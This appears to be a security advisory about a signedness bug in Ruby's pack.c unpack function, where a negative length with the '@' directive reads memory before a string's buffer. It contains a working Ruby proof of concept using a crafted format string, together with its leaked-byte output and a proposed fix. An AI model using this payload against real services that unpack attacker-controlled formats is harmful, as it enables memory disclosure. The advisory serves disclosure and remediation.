There is a signedness error in the pack_unpack_internal(), allowing the ‘@’ type to trigger a buffer under-read when unpacking with a controlled format (similar to format string implementation vulnerabilities).
Vulnerable version: 2.5.0 (rc) and prior (tested also on 2.3.3)**Scope:works on 32 bit and 64 bit versionsFile:pack.cFunction:**pack_unpack_internal()Code Trace:1. len is asigned long:
```ruby
long len;
```
len can be parsed using a decimal string representation, to hold any unsigned long value
...
else if (ISDIGIT(*p)) {
errno = 0;
len = STRTOUL(p, (char**)&p, 10);
if (errno) {
rb_raise(rb_eRangeError, "pack length too big");
}
}
...
Using a negative len value, the ‘@’ type will move the string backwards:
...
case '@':
// EI - Trace: negative length will pass this check
if (len > RSTRING_LEN(str))
rb_raise(rb_eArgError, "@ outside of string");
// EI - Trace: negative length will move s backwards
s = RSTRING_PTR(str) + len;
break;
...
Later unpacking will parse memory data before the buffer’s start
The script was tested on 32 bit. On 64 bit one should only adjust the numerical values accordingly (64 bit was tested on 2.3.3 and worked).
puts 'Version: ' + RUBY_VERSION
puts 2 ** 32 - 100
puts '**********************************'
puts 'Expected:'
"0123456789".unpack("C10").each { |x| puts x.to_s(16) }
puts '**********************************'
puts 'Leaked + Expected:'
"0123456789".unpack("@4294967196C110").each { |x| puts x.to_s(16) }
puts '**********************************'
Output:
Version: 2.5.0
4294967196
**********************************
Expected:
30
31
32
33
34
35
36
37
38
39
**********************************
Leaked + Expected:
28
13
e2
1
c1
24
0
0
40
43
df
1
65
48
92
20
3c
7e
df
1
72
65
6d
61
69
6e
64
65
72
0
0
0
7a
60
1
0
30
1
f5
1
50
c5
ef
1
7f
a3
0
0
30
1
f5
1
7a
60
5
0
40
43
df
1
8
13
e2
1
b1
24
0
0
40
43
df
1
65
88
91
20
3c
7e
df
1
6d
6f
64
75
6c
6f
0
0
0
0
0
0
5
80
52
0
3c
7e
df
1
30
31
32
33
34
35
36
37
38
39
**********************************
len should be limited to hold only positive values, and it should be enforced right after len is parsed. A different fix could be to specifically check if len is negative in all dangerous places in the unpack() function.
An attacker controlling the unpacking format (similar to format string vulnerabilities) can trigger a massive and controlled information disclosure. Since Ruby is a managed language, programmers assume that the library would catch such dangerous code samples and protect them from these types of attacks.
This vulnerability is similar to the implementation vulnerability that was found earlier this year (2017) in the format string (sprintf) module, and in both cases programmers that use an attacker controlled format can be harmed due to an implementation bug in the ruby module.